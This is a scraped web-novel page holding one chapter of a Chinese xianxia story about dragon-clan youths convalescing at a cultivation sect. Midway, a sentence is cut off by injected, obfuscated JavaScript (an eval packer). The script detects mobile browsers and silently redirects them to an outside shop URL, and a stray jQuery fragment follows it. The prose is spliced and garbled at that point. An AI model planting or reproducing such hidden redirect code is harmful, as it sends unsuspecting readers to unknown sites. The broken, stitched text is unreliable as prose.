文趣网 > 都市小说 > 穿书,但变成龙 > 8. 养伤
    天光微亮,渡业门中云遮雾绕,鸟雀叽叽喳喳地在空中盘旋,露珠哒哒滴落,一宿没睡的弟子屏气将其收集,晨练的修士睁开睡眼朦胧的双眼,往脸上扑水以保持清醒。

    青玉飞檐垂落着盏盏琉璃灯,氤氲着点点暖光,曲港跳鱼,圆荷泻露,绯衣少女倚栏听风,画面如诗如画。

    身为画中角色的敖听澜可不那么想,她两眼瞪着端坐饮茶的翟安,不置一词。

    把茶碗搁置,翟安笑着开口:“师妹这是做甚?”

    问,这个人还问!

    敖听澜拿过石桌上另一个茶碗,气冲冲一饮而尽,淡淡的苦味弥漫开来,她只觉心里更加苦了。

    不让看妹妹,说是会影响她养伤,不和她对练,说是不能欺负小辈,

    我呸!

    既然如此,那我去宗门底下的小镇逛逛吧,谁曾想,这人寸步不离跟着,说是奉师尊之命,真叫人恼怒。

    敖听澜叹了口气,手中的鱼食一股脑全洒了出去,纷纷扬扬,锦鲤全聚集到了此处,好不热闹。

    她原本还想着去看看被救出来的百姓,后来得知交由底下分宗负责,他们驻守在扶桐县附近,方便行事。

    敖宥泽也在养伤,敖定被祭司遣去送信,就剩她无所事事

    四人从那洞里出来,因着要处理事物以及养伤,祭司便干脆拖家带口地把他们安在了渡业宗,自己没了踪影。

    渡业宗掌门云阙道君是敖听澜师父的挚友,她在小时候见过,他们二人往来的书信中也提到过各自的徒儿,那时,敖听澜才知晓翟安其人。

    “这孩子从小就立志学医,行事稳妥,再看看你这皮猴子。”

    敖听澜听着不服气,皮猴子是吧,皮猴子要来抓你的胡子了。

    “吱呀—”

    敖听澜正沉浸在自己的思绪中,身后的动静让她抬起头来,和沈含岫含笑的目光对了个正着。

    “岫岫!”

    沈含岫从梦中醒来,就像是睡了两天一般松快,屋内是陌生的布景,屋外是云雾缭绕的神仙景色,推开房门便看到不远处的敖听澜。

    余音还在耳畔,绯衣已将她扑了个满怀,一同经历过遇袭,二人的关系更亲近了。

    “听澜姐姐~”

    在敖听澜怀中蹭完,沈含岫探出头来看旁边静静伫立的少年,面若冠玉,墨发如瀑,腰间系着淡蓝丝绦。

    “沈道友,可好些了?”翟安拱手行了一个平辈礼。

    “好些了。”她慌忙回礼。

    敖听澜看看左看看右,对着沈含岫轻声道:“这里是渡业宗,我们暂时在此处修养,这位是渡业宗掌门大弟子,翟安,是个医修,掌门是我师父挚友,所以别怕。”

    她比了个眼神,以示安心。

    虽然不知道为啥渡业宗掌门是敖听澜师父挚友,沈含岫还是点点头,表示她知晓了。

    “是否需要我…”

    “需要需要,”敖听澜一把把她抱起往屋里走,深一脚浅一脚的,“帮她看看有没有什么隐疾之类的。”

    十四五岁的少女抱着只比她矮一个头的女孩,这场景莫名有些令人发笑。

    将沈含岫醒来的消息发出,过了几息,翟安才推门进去。

    “听澜姐姐,我没事的。”

    敖听澜将沈含岫箍在榻上,不由分说把丝被往上扯,直到完整盖住。

    微挑的桃花眼看过来,有些可怜的意味,敖听澜转头,拒绝撒娇。

    …

    “已无大碍,”翟安收回手,联想到她是刚被带回族里的,又补充一句,“平时可以多用些灵气足的食物,对身体好。”

    “乳果算不算?”敖听澜拿出来沈含岫熟悉的果子。

    原来是叫乳果吗,她思忖。

    “算。”翟安点头,乳果多用于幼崽,味美,易养活,灵气足,实在是小孩子零嘴的不二之选。

    敖听澜拄着脑袋思考,她好像有专门放乳果的储物袋来着,她已经是大孩子了,这个果子需要给幼崽。

    没等她翻出来,一银线荷包出现在眼前。

    “祭司!”

    沈含岫眼睛亮了,朝着面前的女童伸出手,

    敖代岚心领神会,一只手握住她,顺着力道扯她起来,靠着靠枕。

    “宥泽说岫岫喜欢这个,老身便把族里的库存都放里面了,”女童伸手揉揉她的脑袋,接着道,“这个族里有栽种,还有剩下几个灵果,回去尝尝喜不喜欢。”

    “好!”沈含岫乖乖点头。

    “无碍便好,好好休息,有事找你们翟师兄。”

    刚刚祭司进来沈含岫就注意到这个人了,长得过于好看,乌发银冠,剑眉星目,嘴角带着温和的笑容,周身透着书卷气。

    “这个是渡业宗掌门,云阙道君。”

    沈含岫一惊,想要起身行礼,被他用灵气温柔地按了回去,道:“生病就歇着,没那么多规矩。若是还不舒服,让翟安去找他林师叔。”

    沈含岫不懂,但还是先点头。

    “你们先聊着,老身去商量点事情,小孩子嘛,开开心心的,别想太多。”按了按她的手,敖代岚起身。

    “嗯嗯。”几人点头。

    “恭送师父。”

    随着敖代岚和掌门的离去,剩下的几个少年围了上来,

    左一个岫岫,右一个崽崽,好不热闹,像麻雀窝,沈含岫抿唇笑了,经历大起大落之后,她暂时忘记了出来的目的。

    “这位是?”沈含岫有些懵懵的,看向抱剑立于门边的女子,刚刚这里好像没人,啥时候来的?

    “渡业宗,剑峰,天枢剑尊座下二弟子,霍乐然,奉掌门令,陪同。”

    来人似乎寡言少语,用最简洁的字交代完事情后,便闭口不言。

    哇哦,沈含岫在内心惊叹,好帅的姐姐,抱着剑,原来还是剑修吗。

    霍乐然身着简单利索的墨色劲装,身姿挺拔,赤铜护腕泛着血色,长马尾高束,腰间系着个葫芦,旁边有着和翟安一模一样的丝绦,不像修士,倒像个行走江湖的侠客。

    站在他们中间,鹤立鸡群,气质冷肃是其一,个子最高是其二,若是在前十,她应当会是自己嗷嗷冲上去想要扩列的那种人。

    这一世也一样,她默默点开灵讯:“师姐,可以认识一下吗?”

    霍乐然没料到她是这样的反应,愣了一下,拎出腰间的小木剑,一直拿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746119|209292||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在手中的剑被小心置桌案,沈含岫没听见一丝声响。

    见她一直盯着,霍乐然解释道:“前几日宗门换来的,你若喜欢,我可以去问问什么时候有下一把。”

    沈含岫摇头,她只是好奇,转头又看向霍乐然手中的小木剑,她刚才还以为自己看花眼,原来真是木剑啊,瞧着像桐木制成,一指长度,小巧玲珑像个手办。

    “你们接着聊,不用管我,也可以出门逛逛。”霍乐然真不会说话,纠结半天再次说出口。

    灵讯名称,【不善言辞】,真是真正意义上的,不善言辞。

    似是将今日说话额度用完了,霍乐然重新站到门边,抱剑,像一尊沉默的雕像,日光裹在她身上,为其渡了一层金光,看着更加不可接近了。

    “少君哥哥,你的伤怎么样?”

    刚刚加好友的时候看了眼聊天纪录,敖听澜和敖定未受伤,而敖宥泽有伤。

    想想也是,离爆炸地点那么近,还和黑衣人打斗,能不受伤吗。

    “无事,”不喜欢她那么称呼,但是暂时没想好另一个称呼的敖宥泽嘴角往下拉了拉,“龙族肉身强悍,还有护身法器,所以无事。”

    “对,我们见到你们的时候,你被少君护在身下,龙身盖得严严实实的。”敖听澜伸手比划。

    龙身?

    沈含岫眨眨眼,联系到祭司说过少君是金龙,所以她昏迷前看到的金光是他的本体。

    “谢谢。”

    沈含岫真心实意道谢,若不是他挡着,她真的要被震成飞灰的,以那个黑衣人的实力,拿出来的改良版就不可能弱。

    “不必言谢,”少年绷着一张脸,硬邦邦开口,他想说保护族人是他的责任,话语在口中转了一圈还是没有吐出口,“是妹妹,应该的。”

    敖宥泽的衣裳与出门时不同,杏黄锦袍,坠着一枚玉佩,眉目清隽如画,乌发垂落肩头几分,更添几分温润,但他的表情严肃,将温和硬生生压下去几分。

    确定敖宥泽真的无事,沈含岫开始纠结龙身大小。

    这不应该啊,她的银龙本体那么小,能被黑衣人捏在手心,就算他用了缩小的秘法,和她昏迷前看到的身体相比也是大了很多很多,他们年龄相仿,差距那么大吗?

    要下一口乳果,她目测了一下敖宥泽的身高和她相差多少,得出的结论是一样高。

    沈含岫有个比较好的习惯,从不内耗,她这么想了,也就那么问了。

    “因为身体灵气不足,仅有的能量都在供养人身的生长了,本体自然就落下。”

    翟安开口。

    这样吗,她吃果子的速度默默加快。

    “灵食吗,回去吃,家里管够!”敖听澜肯定地点点头。

    沈含岫忽得抬头,左看看右看看,似是不敢确定,特意从屋内最左边看到最右边。

    “怎么啦?岫岫在找什么?”

    “阿定去哪里了?”

    那个圆圆脸负责分析的敖定呢,难不成是受重伤没和她说!

    不能吧。

    “阿定被祭司喊去送信了,晚点回来,话说是不是可以让他帮忙带零嘴,”敖听澜想起论坛中提到的美食,兴致盎然。